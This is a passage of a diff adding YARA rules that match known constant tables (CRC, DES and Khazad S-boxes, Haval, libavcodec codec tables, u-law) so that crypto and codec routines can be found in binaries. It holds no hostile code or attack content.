+	$a0 = { 000000001901c80d3202901b2b035816640420377d05e83a5606b02c4f07782165a555317ca49d3c57a7c52a4ea60d2701a1750618a0bd0b33a3e51d2aa22d1067e7be3d7ee6763055e52e264ce4e62b03e39e0a1ae2560731e10e1128e0c61c0242eb0c1b43230130407b172941b31a6646cb3b7f47033654445b204d45932d636368247a62a0295161f83f48603032076748131e66801e3565d8082c64100506c63d151fc7f51834c4ad0e2dc5650362c21d227bc3d52f50c08d3949c145340484d6191d851e14368646022f878e0f6080f62e79813e23528266354b83ae386121832878204b25532313334a22db3e0525a31f1c246b12372733042e26fb096b6bc517726a0d1a5969550c40689d010f6fe520166e2d2d3d6d753b246cbd360ece902617cf582b3ccc003d25cdc8306acab01173cb781c58c8200a41c9e8070c8c7b2a158db3273e8eeb31278f233c68885b1d718993105a8acb06438b030b69292e1b7028e6165b2bbe00422a760d0d2d0e2c142cc6213f2f9e37262e563a0808ad331109653e3a0a3d28230bf5256c0c8d04750d45095e0e1d1f470fd5126dadf80274ac300f5faf681946aea01409a9d83510a810383bab482e22aa80236fef130e76eedb035ded831544ec4b180beb333912eafb3439e9a32220e86b2f0a4a463f134b8e323848d62421491e296e4e6608774fae055c4cf613454d3e1ed6d68a2fcfd74222e4d41a34fdd5d239b2d2aa18abd3621580d03a0399d1f20eb373df1eaa72171381714f0598708708d777ff29ce763724e5756f32fc74a73fb1313412a830fc1f8333a4099a326c04d5351425cc34dc28e737843efe364c33d4946123cd95a92ee696f138ff973935b0904114a99189198292d10f9b931902b5b5e20bacb42a0687b772109eb6ba1dd1b1c23cc8b00a31e3b35227fab29a2ad010b73ac9117f37e2122721fb13ef2cb414970dad155f00861607169f17cf1bd2525c36cb53943be050cc2df9510420b6567c01af57b40c8454ec1a9d552417b7f70907aef6c10a85f5991c9cf45111d3f32930caf2e13de1f1b92bf8f07126bdbd4f38a4bc87358fbfdf2396be172ed9b96f0fc0b8a702ebbbff14f2ba3719d8181a09c119d204ea1a8a12f31b421fbc1c3a3ea51df2338e1eaa25971f6228da5af105c35b3908e858611ef159a913be5ed132a75f193f8c5c4129955d8924bfffa434a6fe6c398dfd342f94fcfc22dbfb8403c2fa4c0ee9f91418f0f8dc15dede271cc7dfef11ecdcb707f5dd7f0abada072ba3dbcf2688d8973091d95f3dbb7b722da27aba208979e23690782a3bdf7f521ac67e9a17ed7dc201f47c0a0cb9399921a038512c8b3b093a923ac137dd3db916c43c711bef3f290df63ee100dc9ccc10c59d041dee9e5c0bf79f9406b898ec27a199242a8a9a7c3c939bb431 }
+
+condition:
+	$a0
+}
+
+	
+rule Nush_64___Nessie_S_64__16_big_72_
+{
+strings:
+	$a0 = { 00040007000b00080007000e000500040008000200090004000d0001000e00060007000c0005000100020004000c000300090002000b000d000c00030006000b0007000f0004000e }
+
+condition:
+	$a0
+}
+
+	
+rule few_first_primes_prime__redoc3___32_lil_140_
+{
+strings:
+	$a0 = { 010000000300000005000000070000000b0000000d0000001100000013000000170000001d0000001f00000025000000290000002b0000002f000000350000003b0000003d0000004300000047000000490000004f00000053000000590000006100000065000000670000006b0000006d000000710000007f00000083000000890000008b00000095000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_VC_1_vc1_ac_tables__32_big_1488_
+{
+strings:
+	$a0 = { 000000010000000200000005000000030000000d0000000400000012000000050000000e00000006000000150000000700000013000000080000003f000000080000004b000000090000011f00000009000000b80000000a000003e30000000a000001720000000b0000024d0000000c000003da0000000c000002dd0000000d00001f550000000d000005b90000000e00003eae0000000e00000000000000040000001000000005000000080000000700000020000000080000002900000009000001f400000009000002330000000a000001e00000000b0000012a0000000c000003dd0000000c0000050a0000000d00001f290000000d00000a420000000e000012720000000f000017370000000f00000003000000050000001100000007000000c4000000080000004b0000000a000000b40000000b000007d40000000b000003450000000c000002d70000000d000007bf0000000d000009380000000e00000bbb0000000e0000095e0000000f000000130000000500000078000000070000006900000009000002320000000a000004610000000b000003ec0000000c000005200000000d00001f2a0000000d00003e500000000e00003e510000000e000014860000000f0000000c000000060000002400000009000000940000000b000008c00000000c00000f090000000e00001ef00000000f0000003d000000060000005300000009000001a00000000b000002d60000000d00000f080000000e00000013000000070000007c00000009000007c10000000b000004ac0000000e0000001b00000007000000a00000000a000003440000000c00000f790000000e0000007900000007000003e10000000a000002d40000000d000023060000000e00000021000000080000023c0000000a00000fae0000000c000023de0000000e0000003500000008000001750000000b000007b30000000d000000c500000008000001740000000b000007850000000d0000004800000009000001a30000000b0000049e0000000d0000002c00000009000000fa0000000a000007d60000000b000000920000000a000005cc0000000d00001ef10000000f000000a30000000a000003ed0000000c0000093e0000000e000001e20000000b000012730000000f000007c40000000b000014870000000f000002910000000c000002930000000c00000f8a0000000c000005090000000d000005080000000d0000078d0000000d000007be0000000d0000078c0000000d000004ae0000000e00000bba0000000e000023070000000e00000b9a0000000e000017360000000f0000000e000000040000004500000007000001f3000000090000047a0000000b000005dc0000000d000023df0000000e00000019000000050000002800000009000001760000000b0000049d0000000d000023dd0000000e0000003000000006000000a20000000a000002ef0000000c000005b80000000e0000003f00000006000000a50000000a000003db0000000c0000093f0000000e0000004400000007000007cb0000000b0000095f0000000f0000006300000007000003c30000000c0000001500000008000008f60000000c0000001700000008000004980000000d0000002c00000008000007b20000000d0000002f0000000800001f540000000d0000008d00000008000007bd0000000d0000008e00000008000011820000000d000000fb000000080000050b0000000d0000002d00000008000007c00000000b000000790000000900001f5f0000000d0000007a0000000900001f560000000d000002310000000a000003e40000000a000001a10000000b000001430000000b000001f70000000b0000016f0000000c000002920000000c000002e70000000c0000016c0000000c0000016d0000000c000003dc0000000c00000f8b0000000c000004990000000d000003d80000000c0000078e0000000d000002d50000000d00001f5e0000000d00001f2b0000000d0000078f0000000d000004ad0000000e00003eaf0000000e000023dc0000000e0000004a00000009 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC32_poly_0xbdbdf21c__32_lil_refl_True_
+{
+strings:
+	$a0 = { 000000000f33400f1e66801e1155c0113ccc003d33ff403222aa80232d99c02c03e39e0a0cd0de051d851e1412b65e1b3f2f9e37301cde3821491e292e7a5e2606c63d1509f57d1a18a0bd0b1793fd043a0a3d2835397d27246cbd362b5ffd390525a31f0a16e3101b4323011470630e39e9a32236dae32d278f233c28bc63330c8c7b2a03bf3b2512eafb341dd9bb3b30407b173f733b182e26fb092115bb060f6fe520005ca52f1109653e1e3a253133a3e51d3c90a5122dc5650322f6250c0a4a463f05790630142cc6211b1f862e3686460239b5060d28e0c61c27d3861309a9d835069a983a17cf582b18fc18243565d8083a5698072b03581624301819636368246c50282b7d05e83a7236a8355faf6819509c281641c9e8074efaa8086080f62e6fb3b6217ee6763071d5363f5c4cf613537fb61c422a760d4d19360265a555316a96153e7bc3d52f74f095205969550c565a1503470fd512483c951d6646cb3b69758b3478204b2577130b2a5a8acb0655b98b0944ec4b184bdf0b176fef130e60dc5301718993107ebad31f532313335c10533c4d45932d4276d3226c0c8d04633fcd0b726a0d1a7d594d1550c08d395ff3cd364ea60d2741954d2869292e1b661a6e14774fae05787cee0a55e52e265ad66e294b83ae3844b0ee376acab01165f9f01e74ac300f7b9f70005606b02c5935f023486030324753703dbdbd4f38b28e0f37a3dbcf26ace88f2981714f058e420f0a9f17cf1b90248f14be5ed132b16d913da038512caf0b11238292d10f8da191009cf4511193c7111ebb7b722db4483222a51df233aa2eb23c87b772108884321f99d1f20e96e2b201b898ec27b7abac28a6fe6c39a9cd2c368454ec1a8b67ac159a326c0495012c0bb1313412be02741daf57b40ca064f4038dfd342f82ce7420939bb4319ca8f43eb2d2aa18bde1ea17acb42a06a3876a098e1eaa25812dea2a90782a3b9f4b6a34b7f70907b8c44908a9918919a6a2c9168b3b093a84084935955d89249a6ec92bb414970dbb27d702aa721713a541571c88d8973087ebd73f96be172e998d5721dede271cd1ed6713c0b8a702cf8be70de2122721ed21672efc74a73ff347e730dd3db916d20ef919c35b3908cc687907e1f1b92beec2f924ff973935f0a4793ad8181a09d72b5a06c67e9a17c94dda18e4d41a34ebe75a3bfab29a2af581da25dbfb8403d4c8c40cc59d041dcaae4412e737843ee804c431f9510420f662442fd2525c36dd611c39cc34dc28c3079c27ee9e5c0be1ad1c04f0f8dc15ffcb9c1ad1b1c23cde828233cfd74222c0e4022ded7dc201e24e820ef31b421ffc280210d4946123dba7212ccaf2e13dc5c1a132e858611ee76b2111f63ee100f90da10fd777ff29d844bf26c9117f37c6223f38ebbbff14e488bf1bf5dd7f0afaee3f05 }
+
+condition:
+	$a0
+}
+
+	
+rule BGMC_Cumulative_frequency_table_0__16_big_258_
+{
+strings:
+	$a0 = { 40003ec23d843c473b0a39cf3895375d362534f033bb328b315b30302f062de12cbc2b992a76295a283f272b2617250b23ff22f921f420f81ffd1f0a1e181d301c481b601a78199a18bd17ea1718164f158814c814081353129e11f3114910a810080f6a0ecc0e380da50d1b0c920c120b930b1a0aa10a3109c2095b08f40894083407d40774071c06c40673062205d90590054b050704c70489044c041403dc03aa03780347031602ea02be0296026f024c0229020801e801cb01af0195017c0165014e01370120010c00f800e600d500c500b600a8009a008e00820077006c0063005a00510048004000380031002a0024001e00190014000f000b000700030000 }
+
+condition:
+	$a0
+}
+
+	
+rule YUV_to_RGB_dither_8x8_128__8_byt_64_
+{
+strings:
+	$a0 = { 44245c3c42225a3a14740c6c12720a6a54344c2c52324a2a0060187806661e7e4020583846265e3e1070086816760e6e5030482856364e2e04641c7c02621a7a }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_MACEtab2__16_big_1024_
+{
+strings:
+	$a0 = { 0025007400ce014a0027007900d8015a0029007f00e10169002a008400eb0179002c008900f50188002e00900100019a00300096010b01ac0033009d011801c1003500a5012501d6003700ac013201ea003a00b3013f01ff003c00bb014d0216003f00c3015c022d004200cd016c0247004500d6017c0261004800df018c027b004b00e9019e0297004f00f401b102b6005200fe01c502d50056010901d802f4005a011601ef0318005e01220204033a0062012f021a035e0066013c02320385006b014b024c03ae00700159026603d70075016902810403007a0179029e0432007f018a02bd04630085019b02dc0494008b01ae02fc04c8009101c1031f0500009801d503430539009f01ea0368057500a60200038f05b300ad021703b705f300b5022e03e1063600bd0248040e067f00c50262043d06ca00ce027d046d071700d70299049f076700e102b704d507bc00eb02d6050b081400f602f70545087101010318058108d1010c033c05c00935011803610602099f0125038706460a0c013203b0068e0a80013f03da06d90af7014e040607280b75015d0434077a0bf9016c046407cf0c82017c049608280d10018e04cb08860da6019f050108e60e4101b2053b094c0ee301c5057609b60f8e01d905b50a26104001ef05f60a9a10fa0205063a0b1311bc021c06810b911285023406cc0c151359024d071a0ca014370267076a0d2f151d028307c00dc7160f029f08180e63170a02bd08740f08181102dd08d50fb4192602fe093a10671a44032009a311221b7003440a1211e71cab03690a8412b21df003900afd13891f4803b80b7a146720ac03e30bfe15512223040f0c87164523a9043e0d1617442541046e0dab184c26e804a10e47196128a404d60eea1a842a75050d0f951bb32c5b054710461cef2e55058311001e3a306605c211c31f9432920604128e20fc34d2064913622275372e0690143f23ff39a406dc1527259a3c37072a161927493ee8077c1715290941b607d1181d2adf44a6082b19302cc747b408881a502ec64ae708ea1b7d30de4e40094f1cb7330c51be09ba1dff355455650a291f5537b459320a9d20bc3a315d2e0b1622313cc961560b9523b83f8065af0c19255142566a390ca426fb454c6ef70d3428b8486473eb0dcb2a8a4b9f79180e682c6f4efe7e7e0f0d2e6b52857fff0fb9307e56357fff106d32a75a0d7fff112834ea5e127fff11ed374762457fff12b939bf66a87fff138f3c526b3c7fff146f3f0470067fff155841d375057fff164c44c37a3e7fff174b47d57fb37fff18554b0a7fff7fff196b4e637fff7fff1a8d51e37fff7fff1bbd558b7fff7fff1cfa595c7fff7fff1e455d597fff7fff1f9f61847fff7fff210865de7fff7fff22816a6a7fff7fff240c6f297fff7fff25a7741f7fff7fff }
+
+condition:
+	$a0
+}
+
+	
+rule libskba_asn1_yycheck__16_lil_404_
+{
+strings:
+	$a0 = { 0C00290041002D007B000400050004007F0005003400040005009C00380039003A003B003C003D003E00040005000800080032000500080005001D001E0038000600120061000400360012000000040005006800100005000D000E000F00BE0033001F002F003000370031006000220037001600170033002500310037003700310031006500040031003600690020003700360003008A003300C4005A00C600370090002F0030007C000500030007000500090007000B000C002100330026003300110037001300370015001300330018001900320037001C00040005001D001E009900050023002400040005002700280029002A002B002C002D002E000500050007000500090034000B000C000300030014003600110098001300360015000A000A0018001900140036001C0031001A00360004000300310023002400080005002700280029002A002B002C002D002E00B500360012001B000500120004003800350005003200310036000400350004003100040032005C00B000320032003200320038003800A3008B0020008700FFFFA700 }
+
+condition:
+	$a0
+}
+
+	
+rule ACSS_decryption_sbox__8_byt_256_
+{
+strings:
+	$a0 = { 33733b2663236b763e7e362b6e2e667bd393db0643034b96de9ed60b4e0e469b57175f82c787cf125a1a528fca8ac21fd999d10049094190d898d001480840913d7d35246d2d65743c7c34256c2c6475dd9dd5044d0d4594dc9cd4054c0c449559195180c989c11058185081c888c011d797df0247074f92da9ad20f4a0a429f53135b86c383cb165e1e568bce8ec61bb3f3bba6e3a3ebf6befeb6abeeaee6fb37773f2267276f723a7a322f6a2a627fb9f9b1a0e9a9e1f0b8f8b0a1e8a8e0f15d1d5584cd8dc5145c1c5485cc8cc415bdfdb5a4edade5f4bcfcb4a5ecace4f539793120692961703878302168286071b7f7bfa2e7a7eff2bafab2afeaaae2ff }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_libmp3lame_sBitRates__16_lil_180_
+{
+strings:
+	$a0 = { 00002000400060008000a000c000e00000012001400160018001a001c001000020003000380040005000600070008000a000c000e0000001400180010000200028003000380040005000600070008000a000c000e000000140010000200030003800400050006000700080009000a000b000c000e000000100000800100018002000280030003800400050006000700080009000a00000000800100018002000280030003800400050006000700080009000a000 }
+
+condition:
+	$a0
+}
+
+	
+rule Haval_mc4__32_lil_128_
+{
+strings:
+	$a0 = { 8153327a7786952898488f3bafb94b6b1be8bfc493212866cc09d86191a921fb60ac7c483280ec5d5d5d84efb17585e9022326dc881b65eb813e8923c5ac96d3f36f6d0f3942f48382440b2e042084a44af0c8695e9b1f9e4268c6219a6ce9f6619c0c67f088d3abd2a0516a682f54d828a70f96a33351ab6c0bef6ee43b7a13 }
+
+condition:
+	$a0
+}
+
+	
+rule khazad_V1__32_big_1024_
+{
+strings:
+	$a0 = { b9bb016a9ae5b16665e2cd148725511ba2f7a457d6d003beded604b552b3fe85bafdad4a09cf63e01c09849691a51a4da73d4d37aaf1a35ca47be1175ab5f98e0346ac20e6c41184cc55c268c6dc0da885aa99d0b2fbaa41e2c79c0f59f355aebefe20c17aade5a229d77fccbc71e80a96e03be68dac9edbd1952215b332ceaa4b7093738463fd3bfc41d052ac7de61c43769478b1bd0661329bdaf1577917e541f95cb316804b567f670cc2dc59cc7e61e1409fcb10e3c3e181302f100c0e162e925e676ea2663fe84e53cfa0786c9c56b0730e3f57349a9ee63cedd2d38e35c2df8023aef22ed7cf136e482694596cdf1f605eeac19b04477519f3dad5893eeb08ffef2dd4f247ab38c7b73b54b911134aa2369c69f4265f7f10ee04038d8bc8564fe369e74794d31aeade3c1198ba78222d693812153111c56afd8b20db9b40303858a87e6b97682e237f20181c2c0806070b074521abb6f827ca97295f0def0b7264a6f429dcf58eb3b2b074628ae582bda4a5b285fc4f731ef8dd90a895a1b10877bf37442a1b4ca53db5be8bea92e3b66daf3b4a3cff077c72140f839db731432134179fb1e30ef8e44dfcd633ed84baafcad9872825d2f54c0a89cfc0602824740f4326a0676d05df2f5b3a8c180a091d46bc7d1882efb87bfece189986ec35f0facd95128eea32fb17492fbdf6c81f92cd9ca6830e8a424bfd88b4b98326dc90c453c56351f552a5b477ef013352be1aa9b70f7c76a86f2219c36df66f6b02d462a7ecbf31dd76d121d178c71f4f28b6503c364e028fc8cbc316e4c8c1992c030dccee6b7b648149235eb00c99a31d4645fad1387c21a0e2906c7ea66c2daef4d85a41f570242a6205cae960fb04f1f91283c6dd15c6e7763e9e507172abe2a97de8c4099b2cd58d636e8854d993251e5df0d825b8726581642ba9ffd05c46fe2c1d96aca33ec0bc241b91a748363f53068c45404c35b2d84ab9f7985b7c9d656de4ca1f73628642537a9a6e0b40ab2bf447d75949ff5bb8f0445ad25c39bcce275d3d870000000035defb5af302f6f2db1cedd5d45fcb75583a31456b688f5f8f2356102b58b707bdb88ce195a697c6eec2168fceda0aa34433b5d3d719675501c964ebbb34c9a155f6df2e9da090cdc59aa1888c65fa30932ad2867eae6829986a79ad3014123a281e1b2766a46134886677bb9f2f5806c7156943f7017b79e70d756fadb482f7e04854c4d596af9ef2cb9219c05048e88ae9bf70f18d3e39e98737243dd8fc511dc0e07df98b3932e44bd94f71ed4e894eba7a131a85c1d637513391806070b0c99f2b08543fbbc52297d4e7ec4dde445eb674056aa1ebb481a9145b0c058a8075eec30289af1350946ff32d77610bc93a9dddfa3698577a79eb49827427a7e942bff093f8425dd91e864c5d39db71da2a91d3ec }
+
+condition:
+	$a0
+}
+
+	
+rule ulaw_table__32_lil_1024_
+{
+strings:
+	$a0 = { 8482FFFF8486FFFF848AFFFF848EFFFF8492FFFF8496FFFF849AFFFF849EFFFF84A2FFFF84A6FFFF84AAFFFF84AEFFFF84B2FFFF84B6FFFF84BAFFFF84BEFFFF84C1FFFF84C3FFFF84C5FFFF84C7FFFF84C9FFFF84CBFFFF84CDFFFF84CFFFFF84D1FFFF84D3FFFF84D5FFFF84D7FFFF84D9FFFF84DBFFFF84DDFFFF84DFFFFF04E1FFFF04E2FFFF04E3FFFF04E4FFFF04E5FFFF04E6FFFF04E7FFFF04E8FFFF04E9FFFF04EAFFFF04EBFFFF04ECFFFF04EDFFFF04EEFFFF04EFFFFF04F0FFFFC4F0FFFF44F1FFFFC4F1FFFF44F2FFFFC4F2FFFF44F3FFFFC4F3FFFF44F4FFFFC4F4FFFF44F5FFFFC4F5FFFF44F6FFFFC4F6FFFF44F7FFFFC4F7FFFF44F8FFFFA4F8FFFFE4F8FFFF24F9FFFF64F9FFFFA4F9FFFFE4F9FFFF24FAFFFF64FAFFFFA4FAFFFFE4FAFFFF24FBFFFF64FBFFFFA4FBFFFFE4FBFFFF24FCFFFF64FCFFFF94FCFFFFB4FCFFFFD4FCFFFFF4FCFFFF14FDFFFF34FDFFFF54FDFFFF74FDFFFF94FDFFFFB4FDFFFFD4FDFFFFF4FDFFFF14FEFFFF34FEFFFF54FEFFFF74FEFFFF8CFEFFFF9CFEFFFFACFEFFFFBCFEFFFFCCFEFFFFDCFEFFFFECFEFFFFFCFEFFFF0CFFFFFF1CFFFFFF2CFFFFFF3CFFFFFF4CFFFFFF5CFFFFFF6CFFFFFF7CFFFFFF88FFFFFF90FFFFFF98FFFFFFA0FFFFFFA8FFFFFFB0FFFFFFB8FFFFFFC0FFFFFFC8FFFFFFD0FFFFFFD8FFFFFFE0FFFFFFE8FFFFFFF0FFFFFFF8FFFFFF000000007C7D00007C7900007C7500007C7100007C6D00007C6900007C6500007C6100007C5D00007C5900007C5500007C5100007C4D00007C4900007C4500007C4100007C3E00007C3C00007C3A00007C3800007C3600007C3400007C3200007C3000007C2E00007C2C00007C2A00007C2800007C2600007C2400007C2200007C200000FC1E0000FC1D0000FC1C0000FC1B0000FC1A0000FC190000FC180000FC170000FC160000FC150000FC140000FC130000FC120000FC110000FC100000FC0F00003C0F0000BC0E00003C0E0000BC0D00003C0D0000BC0C00003C0C0000BC0B00003C0B0000BC0A00003C0A0000BC0900003C090000BC0800003C080000BC0700005C0700001C070000DC0600009C0600005C0600001C060000DC0500009C0500005C0500001C050000DC0400009C0400005C0400001C040000DC0300009C0300006C0300004C0300002C0300000C030000EC020000CC020000AC0200008C0200006C0200004C0200002C0200000C020000EC010000CC010000AC0100008C0100007401000064010000540100004401000034010000240100001401000004010000F4000000E4000000D4000000C4000000B4000000A4000000940000008400000078000000700000006800000060000000580000005000000048000000400000003800000030000000280000002000000018000000100000000800000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule khazad_c__32_big_72_
+{
+strings:
+	$a0 = { ba542f7453d3d24d50ac8dbf70529a4cead597d133515ba6de48a899db32b7fce39e919be2bb416ea5cb6b95a1f3b102ccc41d14c363da5d5fdc7dcd7f5a6c5cf726ffede89d6f8e }
+
+condition:
+	$a0
+}
+
+	
+rule RawDES_sbox4__32_lil_256_
+{
+strings:
+	$a0 = { 01208000812000008120000080000000802080008100800001008000012000000000000000208000002080008120800081000000000000008000800001008000010000000020000000008000012080008000000000008000012000008020000081008000010000008020000080008000002000008020800081208000810000008000800001008000002080008120800081000000000000000000000000208000802000008000800081008000010000000120800081200000812000008000000081208000810000000100000000200000010080000120000080208000810080000120000080200000000080000120800080000000000080000020000080208000 }
+
+condition:
+	$a0
+}
+
+	
+rule LD_CELP_G_728_cb_gain2__flt32___32_big_32_
+{
+strings:
+	$a0 = { 3f8400003fe70000404a200040b0dc00bf840000bfe70000c04a2000c0b0dc00 }
+
+condition:
+	$a0
+}
+
+	
+rule G726_40kbit_s_5bits_per_sample_table__W_tbl40___16_big_64_
+{
+strings:
+	$a0 = { 000e000e0018002700280029003a0064008d00b300db0118016601b8021102b802b8021101b80166011800db00b3008d0064003a0029002800270018000e000e }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_16_IBM_poly_0x8005__16_big_refl_False_
+{
+strings:
+	$a0 = { 00008005800f000a801b001e0014801180330036003c80390028802d8027002280630066006c80690078807d8077007200508055805f005a804b004e0044804180c300c600cc80c900d880dd80d700d200f080f580ff00fa80eb00ee00e480e100a080a580af00aa80bb00be00b480b180930096009c80990088808d8087008281830186018c81890198819d8197019201b081b581bf01ba81ab01ae01a481a101e081e581ef01ea81fb01fe01f481f181d301d601dc81d901c881cd81c701c201408145814f014a815b015e0154815181730176017c81790168816d8167016281230126012c81290138813d8137013201108115811f011a810b010e0104810183030306030c83090318831d8317031203308335833f033a832b032e0324832103608365836f036a837b037e0374837183530356035c83590348834d8347034203c083c583cf03ca83db03de03d483d183f303f603fc83f903e883ed83e703e283a303a603ac83a903b883bd83b703b203908395839f039a838b038e0384838102808285828f028a829b029e0294829182b302b602bc82b902a882ad82a702a282e302e602ec82e902f882fd82f702f202d082d582df02da82cb02ce02c482c182430246024c82490258825d8257025202708275827f027a826b026e0264826102208225822f022a823b023e0234823182130216021c82190208820d82070202 }
+
+condition:
+	$a0
+}
+
+	
+rule OpenJPEG_dwt_norms__flt64___64_lil_296_
+{
+strings:
+	$a0 = { 000000000000f03f000000000000f83f000000000000064000000000008015405c8fc2f5285c2540d7a3703d0a573540f6285c8fc255454085eb51b81e5555406666666666566540cdcccccccc547540cff753e3a59bf03f46b6f3fdd478f93f273108ac1c5a07401d5a643bdfcf1640295c8fc2f5a82640a4703d0ad7a336400000000000a046401f85eb51b89e5640cdcccccccc9c6640cff753e3a59bf03f46b6f3fdd478f93f273108ac1c5a07401d5a643bdfcf1640295c8fc2f5a82640a4703d0ad7a336400000000000a046401f85eb51b89e5640cdcccccccc9c6640adfa5c6dc5fee63f567daeb6627fed3fc74b37894160f93ff2d24d6210580840fa7e6abc7413184085eb51b81e05284000000000000038405c8fc2f528fc4740ec51b81e85fb5740 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_AC3_ff_eac3_gaq_remap_2_4_a__16_big_36_
+{
+strings:
+	$a0 = { D555EDB7C925E666C444E319C211E186C104E0C2C081E060C040E030C020E018C010E00C }
+
+condition:
+	$a0
+}
+
+	
+rule libmpdemux_tivo_Series1AudioWithPTS__32_big_24_
+{
+strings:
+	$a0 = { 0000015b0000018b000001eb0000024b0000030b0000036b }
+
+condition:
+	$a0
+}
+
+	
+rule khazad_V2__32_lil_1024_
+{
+strings:
+	$a0 = { b9bb016a9ae5b16665e2cd148725511ba2f7a457d6d003beded604b552b3fe85bafdad4a09cf63e01c09849691a51a4da73d4d37aaf1a35ca47be1175ab5f98e0346ac20e6c41184cc55c268c6dc0da885aa99d0b2fbaa41e2c79c0f59f355aebefe20c17aade5a229d77fccbc71e80a96e03be68dac9edbd1952215b332ceaa4b7093738463fd3bfc41d052ac7de61c43769478b1bd0661329bdaf1577917e541f95cb316804b567f670cc2dc59cc7e61e1409fcb10e3c3e181302f100c0e162e925e676ea2663fe84e53cfa0786c9c56b0730e3f57349a9ee63cedd2d38e35c2df8023aef22ed7cf136e482694596cdf1f605eeac19b04477519f3dad5893eeb08ffef2dd4f247ab38c7b73b54b911134aa2369c69f4265f7f10ee04038d8bc8564fe369e74794d31aeade3c1198ba78222d693812153111c56afd8b20db9b40303858a87e6b97682e237f20181c2c0806070b074521abb6f827ca97295f0def0b7264a6f429dcf58eb3b2b074628ae582bda4a5b285fc4f731ef8dd90a895a1b10877bf37442a1b4ca53db5be8bea92e3b66daf3b4a3cff077c72140f839db731432134179fb1e30ef8e44dfcd633ed84baafcad9872825d2f54c0a89cfc0602824740f4326a0676d05df2f5b3a8c180a091d46bc7d1882efb87bfece189986ec35f0facd95128eea32fb17492fbdf6c81f92cd9ca6830e8a424bfd88b4b98326dc90c453c56351f552a5b477ef013352be1aa9b70f7c76a86f2219c36df66f6b02d462a7ecbf31dd76d121d178c71f4f28b6503c364e028fc8cbc316e4c8c1992c030dccee6b7b648149235eb00c99a31d4645fad1387c21a0e2906c7ea66c2daef4d85a41f570242a6205cae960fb04f1f91283c6dd15c6e7763e9e507172abe2a97de8c4099b2cd58d636e8854d993251e5df0d825b8726581642ba9ffd05c46fe2c1d96aca33ec0bc241b91a748363f53068c45404c35b2d84ab9f7985b7c9d656de4ca1f73628642537a9a6e0b40ab2bf447d75949ff5bb8f0445ad25c39bcce275d3d870000000035defb5af302f6f2db1cedd5d45fcb75583a31456b688f5f8f2356102b58b707bdb88ce195a697c6eec2168fceda0aa34433b5d3d719675501c964ebbb34c9a155f6df2e9da090cdc59aa1888c65fa30932ad2867eae6829986a79ad3014123a281e1b2766a46134886677bb9f2f5806c7156943f7017b79e70d756fadb482f7e04854c4d596af9ef2cb9219c05048e88ae9bf70f18d3e39e98737243dd8fc511dc0e07df98b3932e44bd94f71ed4e894eba7a131a85c1d637513391806070b0c99f2b08543fbbc52297d4e7ec4dde445eb674056aa1ebb481a9145b0c058a8075eec30289af1350946ff32d77610bc93a9dddfa3698577a79eb49827427a7e942bff093f8425dd91e864c5d39db71da2a91d3ec }
+
+condition:
+	$a0
+}
+
+	
+rule libaf_center_front___5_degrees___flt64___64_lil_1024_
+{
+strings:
+	$a0 = { 7b740f3eeba416bf71cebc4974f5343f35d1fee2386b40bfec9a7242e2b7523f70632e20b4f459bf0dc3725f7a8d5c3f1d77677a9f2752bf3a7769289fa6253fc1d509385371753f45fb43e4f8da6c3f325f18251f99843f69fdd2c8e722a1bf9b8a5d98df6c8b3f901e18b077e6733ff2a3c723b5ebb43fa072440bd3bdd03f8bff6901c7cbbfbf3c001d9f514dc2bf2b40d46dc475c23f25592a362af0c4bf4c1bcc9b726596bf850672465810cf3f9fa6ca8b2182b23f1ef8d9b55b22b83fae777540be1bd33f575d0467b0d7d23f01e1dd766008bfbfd684b557aa23c9bfa88b4d28ccc1bd3fd7f9bafb58aaadbf77378155ddf5d5bf9d2bda58abf1c8bf66cecc6044b9843f0be27d57d937b8bfc9bf264d6a74c5bff635f8cb4404713faddd37cd7d04ab3f6f84c65be6683bbff0a23f9e7927963f76d5ec325a5cb33f65f00eabb1c5b63fb8843c553c68a43f7f7cf7e8f9a8a63f6422fccb7984af3f43c36f0f3fd78f3f0f3cde99637b98bf8f820c11b473833f7c423b630f8aa33f257e8247c51c84bfc981638a8b81a5bfd951ba55d613a1bfee34615861ff9dbf0d4aed154ab0aabff904a6d125ccb2bf7fddf2766654afbfa84a3228bda8a7bf3eb2142a1487a5bf63d88c45fae097bf8bd0b82e1653613f3c275b06e475813fce69b44855f4813f36af43aecfbf813f79a4707ec8b7923fcb2a2d7df6f19d3feae6c4da03d4963fb59f85265351893f0c376c8a808e813fbb7c2c12b2967a3fcd727be215bb5fbf073ba0e09ae179bfa4985a279f737abf5cedcb71acd28ebf35dc7823f89c95bfde11c4ecbc6f91bf6c42377222e890bf1fba6823095197bf42dd6ae68d7a94bf132a590d032e89bf6a023cd57c9087bf15919ed18e7287bf19b2a1d4e1c173bfe8bbb5145864623f2bb89613d8fa703f4b1b9140770e773fda7edec49996813faaf48fdd23ab843ffd352500e36a7d3f703fab3c18ec573f4367a2e829636fbfe2ed72ce62366cbfccc4f8f61e2768bf17a9143ffd2a7fbf06e7475701b37abfb2e9df1d316a72bfbb17c0fd711e7dbf05733b01d51781bfc3f22797f8c676bf23af9deeb98568bfe81a5869bffb74bf38c4154d05fb71bfff55f01e17e151bfcf892d86e92560bf4be742af4f0b78bf607a46b3740b77bf320b4763a0dc31bf67a60327cd99563fa3bcae6f496543bfc131539b74c249bfac4cc788991947bf7a9c68beebcd6abfcfe6556d534572bf3ef0a9a4c53a6abf533154e0ed0c69bf94ecf57729716dbf410358f517286fbf0d2f3711e5e572bf7b11c7641f7e78bfeb0e5eaa573571bff2cc8039354654bf400b4f234d174c3f78159cb8fb9a613f70e227f2d4fe3e3fa7f69d5e04b04fbf33f958ceef3056bfd88fb94ca84568bf25360809b9de75bf4c667401e06676bf6e4a07f05ed771bf }
+
+condition:
+	$a0
+}
+
+	
+rule RawDES_sbox7__32_big_256_
+{
+strings:
+	$a0 = { 00200000042000020400080200000000000008000400080200200802042008000420080200200000000000000400000200000002040000000420000200000802040008000020080200200002040008000400000204200000042008000020000204200000000008000000080204200802002008000000000204000000002008000400000000200800002000000400080204000802042000020420000200000002002000020400000004000800002000000420080000000802002008020420080000000802040000020420080204200000002008000000000000000002042008020000000000200802042000000000080004000002040008000000080000200002 }
+
+condition:
+	$a0
+}
+
+	
